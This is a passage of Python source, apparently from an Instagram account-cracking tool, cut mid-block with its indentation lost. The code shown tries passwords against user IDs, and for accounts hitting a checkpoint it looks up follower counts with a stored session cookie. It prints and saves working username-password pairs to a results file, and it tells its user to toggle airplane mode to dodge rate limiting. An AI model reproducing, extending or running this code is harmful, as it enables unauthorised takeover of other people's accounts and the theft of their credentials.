___roz = requests.get(f'https://www.instagram.com/{uid}/?__a=1', headers = {'user-agent': 'Mozilla/5.0 (Linux; Android 10; SM-G973F Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.198 Mobile Safari/537.36 Instagram 166.1.0.42.245 Android (29/10; 420dpi; 1080x2042; samsung; SM-G973F; beyond1; exynos9820; en_GB; 256099204)', 'cookie': open('Data/coki.txt','r').read()}).json()['graphql']['user']
follower = ___roz['edge_followed_by']['count']
following = ___roz['edge_follow']['count']
except (KeyError, IOError):
follower = ('-')
following = ('-')
except:pass
print(f"\r{B}[{P}â{B}]{P} Status :{K} Checkpoint ")
print(f"{B}[{P}>{B}]{P} Username :{K} {uid}")
print(f"{B}[{P}>{B}]{P} Password :{K} {pw}")
print(f"{B}[{P}>{B}]{P} Follower :{K} {follower}")
print(f"{B}[{P}>{B}]{P} Following :{K} {following}\n")
self.cp.append(f"{uid}|{pw}")
open('Results/Cp.txt','a').write(f"{uid}|{pw}\n")
break
elif 'Please wait' in str(response):
print(f"{B}[{M}!{B}]{M} Use Airplane Mode 2 Seconds", end='\r');sleep(7);__main__(self, user, uid, pwx)
else:
continue
self.kill +=1
print(f"{P}[{P}Crack{P}]{P} {self.kill}/{str(len(user))} Check:-{len(self.cp)} Live:-{len(self.ok)} ", end='\r')
except (ConnectionError):
print(f"{P}[{K}!{P}]{K} Connection Error ", end='\r');sleep(7);__main__(self, user, uid, pwx)
except:__main__(self, user, uid, pwx)
if __name__=='__main__':
os.system('git pull')
___menu___()